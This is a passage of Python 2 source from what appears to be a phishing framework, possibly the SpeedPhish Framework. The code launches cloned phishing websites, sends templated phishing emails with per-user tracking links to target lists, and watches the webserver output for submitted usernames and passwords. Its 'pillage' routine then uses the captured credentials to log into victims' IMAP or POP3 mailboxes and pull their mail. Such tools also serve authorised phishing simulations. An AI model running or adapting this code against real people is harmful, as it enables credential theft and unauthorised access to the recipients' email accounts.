                        if re.match("^VHOST=\s*"+tem+"\s*$", line, re.IGNORECASE):
                            self.db.addWebTemplate(ttype="static", src_url="", tdir=os.path.join(self.config["web_template_path"], f))
                            break

    #----------------------------
    # Select Web Templates
    #----------------------------
    def select_web_templates(self):
        templates = []

        # get lists of current templates
        db_static_templates = self.db.getWebTemplates(ttype="static")
        db_dynamic_templates = self.db.getWebTemplates(ttype="dynamic")
        
        # check to see if we have templates
        if (db_static_templates or db_dynamic_templates):
            for template in db_static_templates:
                parts = template.split("[-]")
                template_file = parts[0] + "/CONFIG"
                if Utils.is_readable(template_file) and os.path.isfile(template_file):
                    templates.append(("static", parts[0], parts[1]))
            for template in db_dynamic_templates:
                parts = template.split("[-]")
                template_file = parts[0] + "/CONFIG"
                if Utils.is_readable(template_file) and os.path.isfile(template_file):
                    templates.append(("dynamic", parts[0], parts[1]))
        else:
            # assume we do not have any valid templates
            # load all standard templates
            for f in os.listdir(self.config["web_template_path"]):
                template_file = os.path.join(self.config["web_template_path"], f) + "/CONFIG"
                if Utils.is_readable(template_file) and os.path.isfile(template_file):
                    templates.append(("static", os.path.join(self.config["web_template_path"], f), ""))
                    print "FIXED = [%s]" % (os.path.join(self.config["web_template_path"], f))

        # if "always yes" is enabled then just use all templates
        if (not self.config["always_yes"]):
            items = self.display.selectlist("Please select (comma seperated) the item(s) you wish to use. (prese ENTER to use all): ", templates)
            size_of_templates = len(templates)
            if items and (len(items) > 0):
                templates_temp = []
                self.db.clearWebTemplates()
                for item in items:
                    if (int(item) > 0) and (int(item) <= size_of_templates):
                        self.display.verbose("Enabled Template: " + str(templates[int(item)-1]))
                        templates_temp.append(templates[int(item)-1])
                        self.db.addWebTemplate(ttype=templates[int(item)-1][0], src_url=templates[int(item)-1][2], tdir=templates[int(item)-1][1])
                    else:
                        self.display.alert("Invalid select of [" + item + "] was ignored")
                templates = templates_temp

        # print list of enabled templates
        self.display.print_list("TEMPLATE LIST", templates)
        
    #----------------------------
    # Load web sites
    #----------------------------
    def load_websites(self):
        # a required flags set?
        if self.config["enable_web"] == True:
            self.select_web_templates()
            print
            self.display.output("Starting phishing webserver")
            if (self.config["always_yes"] or self.display.yn("Continue", default="y")):

                path = os.path.dirname(os.path.realpath(__file__))
                # Start process
                cmd = [path + "/../web.py", Utils.compressDict(self.config)]
                self.webserver = subprocess.Popen(cmd, shell=False, stdout=subprocess.PIPE)

                # monitor output to gather website information
                while True:
                    line = self.webserver.stdout.readline()
                    line = line.strip()
                    if line == 'Websites loaded and launched.':
                        break
                    if line != '':
                        self.display.verbose(line)
                        match=re.search("Started website", line)
                        VHOST = ""
                        PORT = ""
                        if match:
                            parts=line.split("[")
                            VHOST=parts[1].split("]")
                            VHOST=VHOST[0].strip()
                            PORT=parts[2].split("]")
                            PORT=PORT[0].strip()
                            PORT=PORT[7:]
                            # keep the URL clean
                            # if port is 80, then it does not need to be included in the URL
                            if (PORT[-3:] == ":80"):
                                PORT = PORT[:-3]

                            self.config[VHOST + "_port"] = PORT
                            self.config[VHOST + "_vhost"] = VHOST
                            Utils.screenCaptureWebSite("http://" + PORT,
                                self.outdir + "screenshots/" + PORT + "_" + VHOST + ".png")
                            Utils.screenCaptureWebSite("http://" + VHOST + "." + self.config["phishing_domain"],
                                self.outdir + "screenshots/" + VHOST + "." + self.config["phishing_domain"] + ".png")

                # Write PID file
                pidfilename = os.path.join(self.pid_path, "spfwebsrv.pid")
                pidfile = open(pidfilename, 'w')
                pidfile.write(str(self.webserver.pid))
                pidfile.close()
                self.webserverpid = self.webserver.pid
                self.display.verbose("Started WebServer with pid = [%s]" % self.webserver.pid)

    #----------------------------
    # Build array of email templates
    #----------------------------
    def load_email_templates(self):
        # do we even have targets?
        if (((self.email_list is not None)
            and (self.email_list))
                and ((self.config["enable_email_sending"] == True)
                    or (self.config["simulate_email_sending"] == True))):
            print
            self.display.verbose("Locating phishing email templates")
            if (self.config["always_yes"] or self.display.yn("Continue", default="y")):

                # loop over each email template
                for f in os.listdir("templates/email/"):
                    template_file = os.path.join("templates/email/", f)
                    self.display.debug("Found the following email template: [%s]" % template_file)

                    if ((Utils.is_readable(template_file)) and (os.path.isfile(template_file))):
                        # read in the template SUBJECT, TYPE, and BODY
                        TYPE = ""
                        SUBJECT = ""
                        BODY = ""
                        with open (template_file, "r") as myfile:
                            for line in myfile.readlines():
                                match=re.search("TYPE=", line)
                                if match:
                                    TYPE=line.replace('"', "")
                                    TYPE=TYPE.split("=")
                                    TYPE=TYPE[1].lower().strip()
                                match2=re.search("SUBJECT=", line)
                                if match2:
                                    SUBJECT=line.replace('"', "")
                                    SUBJECT=SUBJECT.split("=")
                                    SUBJECT=SUBJECT[1].strip()
                                match3=re.search("BODY=", line)
                                if match3:
                                    BODY=line.replace('"', "")
                                    BODY=BODY.replace(r'\n', "\n")
                                    BODY=BODY.split("=")
                                    BODY=BODY[1].strip()

                        if (TYPE + "_port" in self.config.keys()):
                            self.email_templates[TYPE].append(EmailTemplate(TYPE, SUBJECT, BODY))
                        else:
                            self.display.debug("     No Matching webtemplate found.  Skipping this email template.")

    #----------------------------
    # Generate/Send phishing emails
    #----------------------------
    def send_emails(self):
        # are required flags set?
        if ((self.config["enable_email_sending"] == True) or (self.config["simulate_email_sending"] == True)):
            if ((self.config["determine_smtp"] == "1") and (self.config["use_specific_smtp"] == "1")):
               self.display.error("ONLY 1 of DETERMINE_SMTP or USE_SPECIFIC_SMTP can be enabled at a time.")
            else:
                print
                self.display.output("Sending phishing emails")
                if (self.config["always_yes"] or self.display.yn("Continue", default="y")):

                    templates_logged = []
                    #do we have any emails top send?
                    if self.email_list:
                        temp_target_list = self.email_list
                        temp_delay = 1
                        if (self.config["email_delay"] is not None):
                            temp_delay = int(self.config["email_delay"])
                        send_count = 0
                        # while there are still target email address, loop
                        while (temp_target_list and (send_count < (int(self.config["emails_max"])))):
                            # inc number of emails we have attempted to send
                            send_count = send_count + 1
                            # delay requested amount of time between sending emails
                            time.sleep(temp_delay)
                            # for each type of email (citrix, owa, office365, ...)
                            for key in self.email_templates:
                                if (key+"_port" in self.config.keys()):
                                    # double check
                                    if temp_target_list:
                                        # for each email template of the given type
                                        for template in self.email_templates[key]:
                                            # double check
                                            if temp_target_list:
                                                # grab a new target email address
                                                target = temp_target_list.pop(0)
                                                self.display.verbose("Sending Email to [%s]" % target)
                                                #FROM = "support@" + self.config["phishing_domain"]
                                                FROM = self.config["smtp_fromaddr"]
    
                                                SUBJECT = template.getSUBJECT()
                                                BODY = template.getBODY()
    
                                                # perform necessary SEARCH/REPLACE 
                                                if self.config["enable_host_based_vhosts"] == "1":
                                                    targetlink="http://" + key + "." + self.config["phishing_domain"]
                                                    if self.config["enable_user_tracking"] == "1":
                                                        targetlink += "?u=" + self.db.getUserTrackId(target)
                                                    BODY=BODY.replace(r'[[TARGET]]', targetlink)
                                                else:
                                                    if (not key == "dynamic"):
                                                        print key
                                                        targetlink="http://" + self.config[key+ "_port"]
                                                        if self.config["enable_user_tracking"] == "1":
                                                            targetlink += "?u=" + self.db.getUserTrackId(target)
                                                        BODY=BODY.replace(r'[[TARGET]]', targetlink)
    
                                                # log
                                                if (key not in templates_logged):
                                                    self.display.log("----------------------------------------------\n\n" +
                                                                     "TO: <XXXXX>\n" +
                                                                     "FROM: " + FROM + "\n" +
                                                                     "SUBJECT: " + SUBJECT + "\n\n" +
                                                                     BODY + "\n\n" + 
                                                                     "----------------------------------------------\n\n" +
                                                                     "TARGETS:\n" +
                                                                     "--------\n",
                                                                     filename="email_template_" + key + ".txt")
                                                    templates_logged.append(key)
                                                self.display.log(target + "\n", filename="email_template_" + key + ".txt")
    
                                                # send the email
                                                if (self.config["simulate_email_sending"] == True):
                                                    self.display.output("Would have sent an email to [%s] with subject of [%s], but this was just a test." % (target, SUBJECT))
                                                else:
                                                    try:
                                                        if self.config["determine_smtp"] == "1":
                                                            emails.send_email_direct(target,
                                                                    FROM,
                                                                    self.config["smtp_displayname"],
                                                                    SUBJECT,
                                                                    BODY,
                                                                    self.config["attachment_filename"],
                                                                    self.config["attachment_fullpath"],
                                                                    True)
                                                        if self.config["use_specific_smtp"] == "1":
                                                            print self.config["smtp_fromaddr"]
                                                            emails.send_email_account(self.config["smtp_server"],
                                                                    int(self.config["smtp_port"]),
                                                                    self.config["smtp_user"],
                                                                    self.config["smtp_pass"],
                                                                    target,
                                                                    self.config["smtp_fromaddr"],
                                                                    self.config["smtp_displayname"],
                                                                    SUBJECT,
                                                                    BODY,
                                                                    self.config["attachment_filename"],
                                                                    self.config["attachment_fullpath"],
                                                                    True)
                                                    except Exception as e:
                                                        self.display.error("Can not send email to " + target)
                                                        print e


    #----------------------------
    # Monitor web sites
    #----------------------------
    def monitor_results(self):
        # are required flags set?
        if self.config["enable_web"] == True:
            print
            self.display.output("Monitoring phishing website activity!")
            self.display.alert("(Press CTRL-C to stop collection and generate report!)")
            if (self.webserver):
                while True:
                    line = self.webserver.stdout.readline()
                    line = line.strip()
                    if (self.config["pillage_email"]):
                        self.pillage(line)
                    self.display.output(line)

    #==================================================
    # Secondary METHODS
    #==================================================

    #----------------------------
    # Pillage Emails
    #----------------------------
    def pillage(self, line):
        username = None
        password = None

        # parse line into username/password
        usermatch = re.match(".*username=\['(.*?)'\].*", line)
        if (usermatch):
            username = usermatch.group(1)
        passmatch = re.match(".*password=\['(.*?)'\].*", line)
        if (passmatch):
            password = passmatch.group(1)

        # if no username or password, then return
        if ((not username) or (not password)):
            return

        # is it a new username/password pair we have not seen before?
        if (not username+":"+password in self.pillaged_users):
            self.pillaged_users.append(username+":"+password)

            # make a new MailPillager if one does not exist
            if (not self.mp):
                self.mp = MailPillager()

            # attempt to determine the best Mail Server to use
            if (not self.bestMailServer):
                self.determineBestMailServer()

            # if no Best Mail Server was identified, return
            if (not self.bestMailServer):
                self.display.error("No valid target IMAP/POP3 mail servers were identified.")
                return

            #print self.bestMailServer + ":" + str(self.bestMailServerPort)

            # PILLAGE!!!
            self.mp.pillage(username=username, password=password, server=self.bestMailServer,
                    port=self.bestMailServerPort, domain=self.config["domain_name"], outputdir=self.outdir + "pillage_data/")

    #----------------------------
    # See which Mail Server we should use
    #
    # TODO: needs to be updated!!!
    #----------------------------
    def determineBestMailServer(self):
        if self.server_list[993]: # IMAPS
            self.bestMailServerPort = 993
            self.bestMailServer = self.server_list[993][0]
        elif self.server_list[143]: #IMAP
            self.bestMailServerPort = 143
            self.bestMailServer = self.server_list[143][0]
        elif self.server_list[995]: # POP3S
            self.bestMailServerPort = 995
            self.bestMailServer = self.server_list[995][0]
        elif self.server_list[110]: # POP3
            self.bestMailServerPort = 110
            self.bestMailServer = self.server_list[110][0]

    #==========================================================================================
    #==========================================================================================
    #==========================================================================================

    #----------------------------
    # Primary METHOD
    #----------------------------
    def run(self, argv):
        # load config
        self.parse_parameters(argv)
        self.load_config()
       
        # make directories
        if not os.path.isdir(self.outdir + "reports/"):
            os.makedirs(self.outdir + "reports/")
        if not os.path.isdir(self.outdir + "logs/"):
            os.makedirs(self.outdir + "logs/")
        if not os.path.isdir(self.outdir + "screenshots/"):
            os.makedirs(self.outdir + "screenshots/")
        if not os.path.isdir(self.outdir + "web_clones/"):
            os.makedirs(self.outdir + "web_clones/")
        if not os.path.isdir(self.outdir + "pillage_data/"):
            os.makedirs(self.outdir + "pillage_data/")

        # dns/portscan/cloning
        self.gather_dns()
        self.port_scan()
        self.profile_site()

        # load websites 
        self.load_websites()

        # do email stuff
        self.prep_email()
        self.load_email_templates()
        self.send_emails()

        # sit back and listen
        self.monitor_results()